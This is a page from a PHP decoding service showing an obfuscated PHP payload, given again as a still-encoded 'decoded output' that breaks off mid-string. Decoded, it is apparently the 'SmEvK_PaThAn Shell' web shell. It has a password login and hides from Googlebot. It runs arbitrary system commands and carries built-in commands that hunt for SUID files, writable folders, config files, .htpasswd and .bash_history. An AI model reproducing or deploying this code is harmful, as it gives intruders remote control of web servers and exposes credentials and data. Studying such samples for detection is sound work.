Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KQGQ1ZjRuNS..
Decoded Output download
<?php $_F=__FILE__;$_X='Pz48P3BocA0KDQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KQGQ1ZjRuNSgnU0VMRl9QQVRIJywgX19GSUxFX18pOw0KNGYoIHN0cnAycygkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJ0cyMmdsNScpICE9PSBmMWxzNSApIHsNCiAgICBoNTFkNXIoJ0hUVFAvNi4wIHUwdSBOMnQgRjIzbmQnKTsNCiAgICA1eDR0Ow0KfQ0KDQpAczVzczQybl9zdDFydCgpOw0KQDVycjJyX3I1cDJydDRuZygwKTsNCkA0bjRfczV0KCc1cnIycl9sMmcnLE5VTEwpOw0KQDRuNF9zNXQoJ2Q0c3BsMXlfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCjRmKCBnNXRfbTFnNGNfcTMydDVzX2dwYygpICkgew0KICAgIGYzbmN0NDJuIHN0cjRwc2wxc2g1c18xcnIxeSgkMXJyMXkpIHsNCiAgICAgICAgcjV0M3JuIDRzXzFycjF5KCQxcnIxeSkgPyAxcnIxeV9tMXAoJ3N0cjRwc2wxc2g1c18xcnIxeScsICQxcnIxeSkgOiBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCiAgICB9DQogICAgJF9QT1NUID0gc3RyNHBzbDFzaDVzXzFycjF5KCRfUE9TVCk7DQp9DQoNCmYzbmN0NDJuIHByNG50TDJnNG4oKSB7DQogNGYgKCRfUE9TVFsncDFzcyddICE9ICQxM3RoX3Axc3MgJiYgJF9QT1NUWyczbjFtNSddICE9ICRVczVyTjFtNSkgew0KICAgICRzdDF0M3MgPSAnV3IybmcgUDFzc3cycmQgMnIgVXM1ck4xbTUgOignOw0KICAgIA0KDQp9DQoNCj8+DQoNCjxodG1sPg0KPGg1MWQ+DQo8dDR0bDU+U21Fdksgdm88L3Q0dGw1Pg0KPGw0bmsgaHI1Zj0iaHR0cHM6Ly9mMm50cy5nMjJnbDUxcDRzLmMybS9jc3M/ZjFtNGx5PUoyczVmNG4rUzFuczp1MDAsNjAwIiByNWw9InN0eWw1c2g1NXQiPg0KPC9oNTFkPg0KPHN0eWw1Pg0KYjJkeXsNCiAgIGYybnQtZjFtNGx5OiBKMnM1ZjRuIFMxbnMsIHMxbnMtczVyNGY7DQogICAgYjFja2dyMjNuZDogYmwxY2s7DQogICAgYzJsMnI6I0FCRUZGRjsNCn0NCiAgICAubDJnNG5wMWc1IDRtZ3sNCiAgICAgICAgdzRkdGg6IGkwMHB4Ow0KICAgICAgICBoNTRnaHQ6IDZpMHB4Ow0KICAgIH0NCiAgICAubDJnNG5wMWc1ew0KICAgICAgICBoNTRnaHQ6IHUwMHB4Ow0KICAgICAgICB3NGR0aDogaTAwcHg7DQogICAgICAgIGIycmQ1cjo2cHggczJsNGQ7DQogICAgICAgIGIycmQ1ci1jMmwycjojQUJFRkZGOw0KICAgICAgICB0NXh0LTFsNGduOiBjNW50NXI7DQogICAgICAgIGIycmQ1ci1yMWQ0M3M6IGlweDsNCiAgICAgICAgbTFyZzRuLXQycDogNjAwcHg7DQogICAgfQ0KICAgICNwMWc1aDUxZDRuZ3sNCiAgICAgICAgZjJudC1zNHo1OmFpcHg7DQogICAgICAgIGMybDJyOiNBQkVGRkY7DQogICAgICAgIG0xcmc0bi10MnA6IDYwcHg7DQogICAgfQ0KICAgIC5sMmc0bnAxZzUgNG1new0KICAgICAgICB3NGR0aDogaTAwcHg7DQogICAgDQogICAgfQ0KICAgIDRucDN0ew0KICAgICAgICBiMWNrZ3IyM25kOiBibDFjazsNCiAgICAgICAgYjJyZDVyLWMybDJyOiNBQkVGRkY7DQogICAgICAgIGIycmQ1ci1yMWQ0M3M6IDYwcHg7DQogICAgICAgIG0xcmc0bi10MnA6IDYwcHg7IA0KICAgICAgICBwMWRkNG5nOmlweDsNCiAgICAgICAgYzJsMnI6ICNBQkVGRkY7DQogICAgfQ0KICAgICA0bnAzdDpoMnY1cnsNCiAgICAgICAgYjFja2dyMjNuZDogI0FCRUZGRjsNCiAgICAgICAgYzJsMnI6IHI1ZDsNCg0KICAgICB9DQoNCjwvc3R5bDU+DQo8YjJkeT4NCjxjNW50NXI+DQo8ZDR2IGNsMXNzPSJsMmc0bnAxZzUiPg0KICAgIDw0bWcgc3JjPSJodHRwOi8vNGVvLnQ0bnlwNGMuYzJtLzY2MDh2NGMuanBnIiAxbHQ9IlNtNXZrIEwyZzIiPg0KICAgIDxkNHYgNGQ9InAxZzVoNTFkNG5nIj5TbUV2S19QMVRoQW4gU2g1bGwgVm88L2Q0dj4NCiAgICA8ZjJybSBtNXRoMmQ9InAyc3QiPg0KICAgICAgICBVczVyIE4xbTU6IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIzbjFtNSIgPjxicj4NCiAgICAgICAgUDFzc3cycmQgOiAgPDRucDN0IHR5cDU9InAxc3N3MnJkIiBuMW01PSJwMXNzIiA+PGJyPg0KICAgICAgIDw0bnAzdCB0eXA1PSJzM2JtNHQiIG4xbTU9ImwyZzRuIiB2MWwzNT0iTDJnNG4iPg0KIDw/cGhwDQoNCiAgNGYgKDRzczV0KCRzdDF0M3MpKSB7DQogICA/PiAgDQogDQoNCiAgICAgDQoNCiAgICA8L2Yycm0+DQogICANCjwvZDxwPjw/PSRzdDF0M3M/PjwvcD4gDQo8L2M1bnQ1cj4NCjwvYjJkeT4NCjwvaHRtbD4NCg0KPD9waHANCg0KDQogIH0gICAgICANCiAgICA1eDR0Ow0KfQ0KDQo0ZiggITRzczV0KCAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldICkpDQogICAgNGYoIDVtcHR5KCAkMTN0aF9wMXNzICkgfHwNCiAgICAgICAgKCA0c3M1dCggJF9QT1NUWydwMXNzJ10gKSAmJiAgKCRfUE9TVFsncDFzcyddKSA9PSAkMTN0aF9wMXNzICAmJiAoJF9QT1NUWyczbjFtNSddKSA9PSAkVXM1ck4xbTUpKQ0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHIzNTsNCg0KICAgIDVsczUNCiAgICAgICAgDQogICAgICAgIHByNG50TDJnNG4oKTsNCg0KNGYoIHN0cnQybDJ3NXIoIHMzYnN0cihQSFBfT1MsMCxvKSApID09ICJ3NG4iICkNCiAgICAkMnMgPSAndzRuJzsNCjVsczUNCiAgICAkMnMgPSAnbjR4JzsNCiRzMWY1X20yZDUgPSBANG40X2c1dCgnczFmNV9tMmQ1Jyk7DQokZDRzMWJsNV9mM25jdDQybnMgPSBANG40X2c1dCgnZDRzMWJsNV9mM25jdDQybnMnKTsNCiRoMm01X2N3ZCA9IEBnNXRjd2QoKTsNCjRmKCA0c3M1dCggJF9QT1NUWydjJ10gKSApDQogICAgQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZiggJDJzID09ICd3NG4nKSB7DQogICAgJGgybTVfY3dkID0gc3RyX3I1cGwxYzUoIlxcIiwgIi8iLCAkaDJtNV9jd2QpOw0KICAgICRjd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRjd2QpOw0KfQ0KNGYoICRjd2Rbc3RybDVuKCRjd2QpLTZdICE9ICcvJyApDQogICAgJGN3ZCAuPSAnLyc7DQogICAgDQo0ZigkMnMgPT0gJ3c0bicpIHsNCiAgICAkMWw0MXM1cyA9IDFycjF5KA0KICAgICAgICAiTDRzdCBENHI1Y3QycnkiID0+ICJkNHIiLA0KICAgICAgICAiRjRuZCA0bmQ1eC5waHAgNG4gYzNycjVudCBkNHIiID0+ICJkNHIgL3MgL3cgL2IgNG5kNXgucGhwIiwNCiAgICAgICAgIkY0bmQgKmMybmY0ZyoucGhwIDRuIGMzcnI1bnQgZDRyIiA9PiAiZDRyIC9zIC93IC9iICpjMm5mNGcqLnBocCIsDQogICAgICAgICJTaDJ3IDFjdDR2NSBjMm5uNWN0NDJucyIgPT4gIm41dHN0MXQgLTFuIiwNCiAgICAgICAgIlNoMncgcjNubjRuZyBzNXJ2NGM1cyIgPT4gIm41dCBzdDFydCIsDQogICAgICAgICJVczVyIDFjYzIzbnRzIiA9PiAibjV0IDNzNXIiLA0KICAgICAgICAiU2gydyBjMm1wM3Q1cnMiID0+ICJuNXQgdjQ1dyIsDQogICAgICAgICJBUlAgVDFibDUiID0+ICIxcnAgLTEiLA0KICAgICAgICAiSVAgQzJuZjRnM3IxdDQybiIgPT4gIjRwYzJuZjRnIC8xbGwiDQogICAgKTsNCn0gNWxzNSB7DQogICAgJDFsNDFzNXMgPSAxcnIxeSgNCiAgICAgICAgICAiTDRzdCBkNHIiID0+ICJscyAtbDEiLA0KICAgICAgICAibDRzdCBmNGw1IDF0dHI0YjN0NXMgMm4gMSBMNG4zeCBzNWMybmQgNXh0NW5kNWQgZjRsNSBzeXN0NW0iID0+ICJsczF0dHIgLXYxIiwNCiAgICAgICAgICAic2gydyAycDVuNWQgcDJydHMiID0+ICJuNXRzdDF0IC0xbiB8IGdyNXAgLTQgbDRzdDVuIiwNCiAgICAgICAgIkY0bmQiID0+ICIiLA0KICAgICAgICAgICJmNG5kIDFsbCBzMzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTB1MDAwIC1scyIsDQogICAgICAgICAgImY0bmQgczM0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wdTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIDFsbCBzZzRkIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLXA1cm0gLTBhMDAwIC1scyIsDQogICAgICAgICAgImY0bmQgc2c0ZCBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1wNXJtIC0wYTAwMCAtbHMiLA0KICAgICAgICAgICJmNG5kIGMybmY0Zy40bmMucGhwIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgYzJuZjRnLjRuYy5waHAiLA0KICAgICAgICAgICJmNG5kIGMybmY0ZyogZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBcImMybmY0ZypcIiIsDQogICAgICAgICAgImY0bmQgYzJuZjRnKiBmNGw1cyA0biBjM3JyNW50IGQ0ciIgPT4gImY0bmQgLiAtdHlwNSBmIC1uMW01IFwiYzJuZjRnKlwiIiwNCiAgICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMiID0+ICJmNG5kIC8gLXA1cm0gLWEgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgd3I0dDFibDUgZjJsZDVycyAxbmQgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXA1cm0gLWEgLWxzIiwNCiAgICAgICAgICAiZjRuZCAxbGwgczVydjRjNS5wd2QgZjRsNXMiID0+ICJmNG5kIC8gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogICAgICAgICAgImY0bmQgczVydjRjNS5wd2QgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSBzNXJ2NGM1LnB3ZCIsDQogICAgICAgICAgImY0bmQgMWxsIC5odHAxc3N3ZCBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5odHAxc3N3ZCIsDQogICAgICAgICAgImY0bmQgLmh0cDFzc3dkIGY0bDVzIDRuIGMzcnI1bnQgZDRyIiA9PiAiZjRuZCAuIC10eXA1IGYgLW4xbTUgLmh0cDFzc3dkIiwNCiAgICAgICAgICAiZjRuZCAxbGwgLmIxc2hfaDRzdDJyeSBmNGw1cyIgPT4gImY0bmQgLyAtdHlwNSBmIC1uMW01IC5iMXNoX2g0c3QycnkiLA0KICAgICAgICAgICJmNG5kIC5iMXNoX2g0c3QycnkgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuYjFzaF9oNHN0MnJ5IiwNCiAgICAgICAgICAiZjRuZCAxbGwgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAiZjRuZCAvIC10eXA1IGYgLW4xbTUgLmY1dGNobTE0bHJjIiwNCiAgICAgICAgICAiZjRuZCAuZjV0Y2htMTRscmMgZjRsNXMgNG4gYzNycjVudCBkNHIiID0+ICJmNG5kIC4gLXR5cDUgZiAtbjFtNSAuZjV0Y2htMTRscmMiLA0KICAgICAgICAiTDJjMXQ1IiA9PiAiIiwNCiAgICAgICAgICAibDJjMXQ1IGh0dHBkLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgaHR0cGQuYzJuZiIsDQogICAgICAgICJsMmMxdDUgdmgyc3RzLmMybmYgZjRsNXMiID0+ICJsMmMxdDUgdmgyc3RzLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHByMmZ0cGQuYzJuZiBmNGw1cyIgPT4gImwyYzF0NSBwcjJmdHBkLmMybmYiLA0KICAgICAgICAibDJjMXQ1IHBzeWJuYy5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IHBzeWJuYy5jMm5mIiwNCiAgICAgICAgImwyYzF0NSBteS5jMm5mIGY0bDVzIiA9PiAibDJjMXQ1IG15LmMybmYiLA0KICAgICAgICAibDJjMXQ1IDFkbTRuLnBocCBmNGw1cyIgPT4ibDJjMXQ1IDFkbTRuLnBocCIsDQogICAgICAgICJsMmMxdDUgY2ZnLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjZmcucGhwIiwNCiAgICAgICAgImwyYzF0NSBjMm5mLnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mLnBocCIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLmQxdCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDF0IiwNCiAgICAgICAgImwyYzF0NSBjMm5mNGcucGhwIGY0bDVzIiA9PiAibDJjMXQ1IGMybmY0Zy5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy40bmMgZjRsNXMiID0+ICJsMmMxdDUgYzJuZjRnLjRuYyIsDQogICAgICAgICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiID0+ICJsMmMxdDUgYzJuZjRnLjRuYy5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0Zy5kNWYxM2x0LnBocCBmNGw1cyIgPT4gImwyYzF0NSBjMm5mNGcuZDVmMTNsdC5waHAiLA0KICAgICAgICAibDJjMXQ1IGMybmY0ZyogZjRsNXMgIiA9PiAibDJjMXQ1IGMybmY0ZyIsDQogICAgICAgICJsMmMxdDUgLmMybmYgZjRsNXMiPT4ibDJjMXQ1ICcuYzJuZiciLA0KICAgICAgICAibDJjMXQ1IC5wd2QgZjRsNXMiID0+ICJsMmMxdDUgJy5wd2QnIiwNCiAgICAgICAgImwyYzF0NSAuc3FsIGY0bDVzIiA9PiAibDJjMXQ1ICcuc3FsJyIsDQogICAgICAgICJsMmMxdDUgLmh0cDFzc3dkIGY0bDVzIiA9PiAibDJjMXQ1ICcuaHRwMXNzd2QnIiwNCiAgICAgICAgImwyYzF0NSAuYjFzaF9oNHN0MnJ5IGY0bDVzIiA9PiAibDJjMXQ1ICcuYjFzaF9oNHN0MnJ5JyIsDQogICAgICAgICJsMmMxdDUgLm15c3FsX2g0c3QycnkgZjRsNXMiID0+ICJsMmMxdDUgJy5teXNxbF9oNHN0MnJ5JyIsDQogICAgICAgICJsMmMxdDUgLmY1dGNobTE0bHJjIGY0bDVzIiA9PiAibDJjMXQ1ICcuZjV0Y2htMTRscmMnIiwNCiAgICAgICAgImwyYzF0NSBiMWNrM3AgZjRsNXMiID0+ICJsMmMxdDUgYjFjazNwIiwNCiAgICAgICAgImwyYzF0NSBkM21wIGY0bDVzIiA9PiAibDJjMXQ1IGQzbXAiLA0KICAgICAgICAibDJjMXQ1IHByNHYgZjRsNXMiID0+ICJsMmMxdDUgcHI0diIgICAgDQogICAgKTsNCn0NCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pICYmICRfUE9TVFsncDYnXT09J2Q1ZjFjNScpIHsNCiAgICAgICAgDQogICAgICAgICRkNWYgPSBmNGw1X2c1dF9jMm50NW50cygkZDVmMWM1XzNybCk7DQogICAgICAgIGY0bDVfcDN0X2MybnQ1bnRzKCRfUE9TVFsnYyddLiRfUE9TVFsncGEnXSwkZDVmKTsNCiAgICB9DQpmM25jdDQybiA1eCgkNG4pIHsNCiAgICAkMjN0ID0gJyc7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgQDV4NWMoJDRuLCQyM3QpOw0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAcDFzc3RocjMoJDRuKTsNCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KICAgIH01bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQogICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgfTVsczU0Zig0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgJDIzdCA9ICIiOw0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKQ0KICAgICAgICAgICAgJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCiAgICAgICAgcGNsMnM1KCRmKTsNCiAgICB9DQogICAgcjV0M3JuICQyM3Q7DQp9DQoNCmYzbmN0NDJuIHdoNGNoKCRwKSB7DQogICAgJHAxdGggPSA1eCgnd2g0Y2ggJy4kcCk7DQogICAgNGYoITVtcHR5KCRwMXRoKSkNCiAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgIHI1dDNybiBmMWxzNTsNCn0NCiAgICANCmYzbmN0NDJuIHByNG50SDUxZDVyKCkgew0KICAgIDRmKDVtcHR5KCRfUE9TVFsnY2gxcnM1dCddKSkNCiAgICAgICAgJF9QT1NUWydjaDFyczV0J10gPSAiVVRGLTgiOw0KICAgIGdsMmIxbCAkYzJsMnI7DQogICAgZ2wyYjFsICRUaDVtNTsNCiAgICBnbDJiMWwgJFQxYnNDMmwycjsNCiAgICAgICAgNWNoMiAiPGh0bWw+PGg1MWQ+PGw0bmsgaHI1Zj0naHR0cHM6Ly9mMm50cy5nMjJnbDUxcDRzLmMybS9jc3M/ZjFtNGx5PUoyczVmNG4rUzFuczp1MDAsNjAwJyByNWw9J3N0eWw1c2g1NXQnIHR5cDU9J3Q1eHQvY3NzJz48L2g1MWQ+IjsNCiAgICA1Y2gyICc8aHRtbD4NCjxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PScuJF9QT1NUWydjaDFyczV0J10uJyI+PHQ0dGw1PlNtRXZLIHZvPC90NHRsNT4NCjxzdHlsNT4NCiAgICAgICAgYjJkeSB7YjFja2dyMjNuZC1jMmwycjpibDFjaztjMmwycjojZmZmO30NCiAgICAgICAgYjJkeSx0ZCx0aCAgICB7IGYybnQtZjFtNGx5OiBKMnM1ZjRuIFMxbnMsIHMxbnMtczVyNGY7ZjJudC1zNHo1OjZvcHg7bTFyZzRuOjA7djVydDRjMWwtMWw0Z246dDJwOyB9DQogICAgICAgIHNwMW4saDYsMSAgICB7IGMybDJyOicuJGMybDJyLicgITRtcDJydDFudDsgfQ0KICAgICAgICBzcDFuICAgICAgICB7IGYybnQtdzU0Z2h0OiBiMmxkNXI7IH0NCiAgICAgICAgaDYgICAgICAgICAgICB7IHAxZGQ0bmc6IDBweCBpcHg7ZjJudDogNnVwdCAxM2Q0Mnc0ZDU7bTFyZzRuOjBweCAwIDAgMHB4OyB9DQogICAgICAgIGQ0di5jMm50NW50ICAgIHsgcDFkZDRuZzogMHB4O20xcmc0bjowIDBweDtiMWNrZ3IyM25kOiAjMEY2MDYwO2IycmQ1cjo2cHggczJsNGQgJy4kVGg1bTUuJzsgYjJyZDVyLXIxZDQzczppcHg7fQ0KICAgICAgICAxICAgICAgICAgICAgeyB0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgICB9DQogICAgICAgIDE6aDJ2NXIgICAgICAgIHsgYjJyZDVyLWIydHQybTowcHggczJsNGQgI2k1aTVpNTt0NXh0LWQ1YzJyMXQ0Mm46bjJuNTsgfQ0KICAgICAgICAxOmgydjVye2MzcnMycjogM3JsKCJodHRwOi8vZDJ3bmwyMWRzLnQydDFsbHlmcjU1YzNyczJycy5jMm0vYzNyczJyX2Y0bDVzL3AxazRzdDFuLjFuNCIpLCAzcmwoImh0dHA6Ly9kMndubDIxZHMudDJ0MWxseWZyNTVjM3JzMnJzLmMybS90aDNtYm4xNGxzL1BBS0lTVEFOLmc0ZiIpLCAxM3QyO3Q1eHQtZDVjMnIxdDQybjpuMm41O30NCiAgICAgICAgLm1sNiAgICAgICAgeyBiMnJkNXI6NnB4IHMybDRkICcuJFRoNW01Lic7cDFkZDRuZzpweDttMXJnNG46MDsydjVyZmwydzogMTN0MjsgfQ0KICAgICAgICAuYjRnMXI1MSAgICB7IHc0ZHRoOjYwMCU7aDU0Z2h0OmFpMHB4O20xcmc0bi10MnA6MHB4OyBiMnJkNXItcjFkNDNzOjYwcHg7IGIycmQ1ci1jMmwycjonLiRUaDVtNS4nOyBiMWNrZ3IyM25kOiNhRmFGYUY7fQ0KICAgICAgICA0bnAzdCwgdDV4dDFyNTEsIHM1bDVjdCAgICB7IG0xcmc0bi10MnA6MDtjMmwycjojZW9FNkZGO2IxY2tncjIzbmQtYzJsMnI6YmwxY2s7YjJyZDVyLXIxZDQzczppcHg7YjJyZDVyOjZweCBzMmw0ZCAnLiRUaDVtNS4nOyBiMnJkNXItcjFkNHM6aXB4O2YybnQ6IDYwcHQgMXI0MWwsIkMyM3I0NXIgTjV3IjsgfQ0KICAgICAgICA0bnAzdFt0eXA1PSJiM3R0Mm4iXTpoMnY1ciw0bnAzdFt0eXA1PSJzM2JtNHQiXTpoMnY1ciB7YjFja2dyMjNuZC1jMmwycjojMDl1RmUwO2MybDJyOmJsMWNrO3Q1eHQtZDVjMnIxdDQybjpuMm41O30gDQogICAgICAgIGYycm0gICAgICAgIHsgbTFyZzRuOjBweDsgYjFja2dyMjNuZDojMEY2MDYwO30NCiAgICAgICAgI3QyMmxzVGJsICAgIHsgdDV4dC0xbDRnbjpjNW50NXI7IH0NCiAgICAgICAgLnQyMmxzSW5wICAgIHsgdzRkdGg6IDgwJTsgYjFja2dyMjNuZDpibDFjazsgYjJyZDVyLXIxZDQzczppcHg7IGIycmQ1ci1jMmwycjonLiRUaDVtNS4nOyB9DQogICAgICAgIC5tMTRuIHRoICAgIHt0NXh0LTFsNGduOmw1ZnQ7YjFja2dyMjNuZC1jMmwycjonLiRUMWJzQzJsMnIuJzt9DQogICAgICAgIC5tMTRuIHRyOmgydjVye2IxY2tncjIzbmQ6Jy4kVGg1bTUuJzsgYjJyZDVyOmlweCBzMmw0ZDtiMnJkNXItYzJsMnI6Jy4kVGg1bTUuJzt9DQogICAgICAgIC5tMTRuIHRkLCB0aHt2NXJ0NGMxbC0xbDRnbjptNGRkbDU7fQ0KICAgICAgICAubTVuMyB7IGg1NGdodDpvMHB4OyBiMnJkNXItcjFkNDNzOjYwcHg7fQ0KICAgICAgICAubTVuMyB0aHtwMWRkNG5nOjZweDtiMnJkNXItcjFkNDNzOiBpcHg7ICBiMWNrZ3IyM25kOicuJFQxYnNDMmwyci4nOyAgICAgLXc1Yms0dC10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgLW0yei10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgLTItdHIxbnNmMnJtOiByMnQxdDUoYTBkNWcpOw0KICAgIC1tcy10cjFuc2Yycm06IHIydDF0NShhMGQ1Zyk7DQogICAgdHIxbnNmMnJtOiByMnQxdDUoYTBkNWcpO30NCiAgICAgICAgLm01bjMgdGg6aDJ2NXJ7YjFja2dyMjNuZDojMEY2MDYwO3Q1eHQtZDVjMnIxdDQybjogbjJuNTt9DQogICAgICAgICAgICAgICAgcHI1IHtmMm50LWYxbTRseTogSjJzNWY0biBTMW5zLCBzMW5zLXM1cjRmO2MybDJyOiNGRkZGRkY7fQ0KICAgICAgICAjYzJ0X3RsX2Y0eDVke3AyczR0NDJuOmY0eDVkO2IydHQybTowcHg7ZjJudC1zNHo1OjZhcHg7bDVmdDowcHg7cDFkZDRuZzp1cHggMDtjbDRwOl90MnA6NXhwcjVzczQybihkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuc2NyMmxsVDJwK2QyYzNtNW50LmQyYzNtNW50RWw1bTVudC5jbDQ1bnRINTRnaHQtdGg0cy5jbDQ1bnRINTRnaHQpO19sNWZ0OjV4cHI1c3M0Mm4oZDJjM201bnQuZDJjM201bnRFbDVtNW50LnNjcjJsbEw1ZnQgKyBkMmMzbTVudC5kMmMzbTVudEVsNW01bnQuY2w0NW50VzRkdGggLSAyZmZzNXRXNGR0aCk7fQ0KDQogICAgICAgICAgICAgICAgDQogICAgICAgIC5jcHIge20xcmc0bi1iMnR0Mm06aXB4O2YybnQtdzU0Z2h0OmIybGQ7IH0NCiAgICAgICAgLmNwYiB7dzRkdGg6b3VweDttMXJnNG46MCBpcHg7fQ0KICAgICAgICANCiAgICAgICAgLm5wMjFkIHRkIHtwMWRkNG5nOjA7fQ0KICAgICAgICAjU201dmt0MjJsc3sNCiAgICAgICAgbTFyZzRuLXQycDppMHB4Ow0KICAgICAgICB3NGR0aDppMDBweDsNCiAgICAgICAgYjJyZDVyOjZweCBzMmw0ZDsNCiAgICAgICAgYjJyZDVyLXIxZDQzczo2MHB4Ow0KICAgIH0NCiAgICAuc201dmtsMmcyIHRkew0KICAgICAgICBmMm50LXM0ejU6NmFweDsNCiAgICAgICAgZjJudC13NTRnaHQ6YjJsZDsNCiAgICAgICAgDQoNCg0KICAgIH0NCiAgICAuc201dmtsMmcyew0KICAgICAgICBtMXJnNG4tbDVmdDppcHg7DQogICAgICAgIGIxY2tncjIzbmQ6M3JsKGh0dHA6Ly80ZW8udDRueXA0Yy5jMm0vNjYwOHY0Yy5qcGcpOw0KICAgICAgICBiMWNrZ3IyM25kLXI1cDUxdDogbjItcjVwNTF0Ow0KICAgICAgIGIxY2tncjIzbmQtcDJzNHQ0Mm46IENFTlRFUjsgDQogICAgICAgIGIxY2tncjIzbmQtYzJsMnI6IzBGNjA2MDsNCiAgICAgICAgYjFja2dyMjNuZC1zNHo1OiB1MDBweCA2YTBweDsNCg0KDQoNCiAgICB9DQogICAgPC9zdHlsNT4NCg0KPC9odG1sPg0KPHN0eWw1IHR5cDU9InQ1eHQvY3NzIj5iMmR5LCAxOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46bjJuNTtjM3JzMnI6IDNybChodHRwOi8vYzNyLmMzcnMycnMtdTMubjV0L2MzcnMycnMvYzNyLTY2L2MzcjYwaXUuYzNyKSwgcHIyZ3I1c3MgITRtcDJydDFudDt9PC9zdHlsNT48MSBocjVmPSJodHRwOi8vd3d3LmMzcnMycnMtdTMuYzJtL2MzcnMyci9hMDZhLzBhLzY2L2NocjJtNS1wMjRudDVyLmh0bWwiIHQxcmc1dD0iX2JsMW5rIiB0NHRsNT0iQ2hyMm01IFAyNG50NXIiPjw0bWcgc3JjPSJodHRwOi8vYzNyLmMzcnMycnMtdTMubjV0L2MzcnMyci5wbmciIGIycmQ1cj0iMCIgMWx0PSJDaHIybTUgUDI0bnQ1ciIgc3R5bDU9InAyczR0NDJuOjFiczJsM3Q1OyB0MnA6IDBweDsgcjRnaHQ6IDBweDsiIC8+PC8xPg0KICAgIDxzY3I0cHQ+DQogICAgICAgIGYzbmN0NDJuIHM1dCgxLGMscDYscGEscG8sY2gxcnM1dCkgew0KICAgICAgICAgICAgNGYoMSAhPSBuM2xsKWQyYzNtNW50Lm1mLjEudjFsMzU9MTsNCiAgICAgICAgICAgIDRmKGMgIT0gbjNsbClkMmMzbTVudC5tZi5jLnYxbDM1PWM7DQogICAgICAgICAgICA0ZihwNiAhPSBuM2xsKWQyYzNtNW50Lm1mLnA2LnYxbDM1PXA2Ow0KICAgICAgICAgICAgNGYocGEgIT0gbjNsbClkMmMzbTVudC5tZi5wYS52MWwzNT1wYTsNCiAgICAgICAgICAgIDRmKHBvICE9IG4zbGwpZDJjM201bnQubWYucG8udjFsMzU9cG87DQogICAgICAgICAgICA0ZihjaDFyczV0ICE9IG4zbGwpZDJjM201bnQubWYu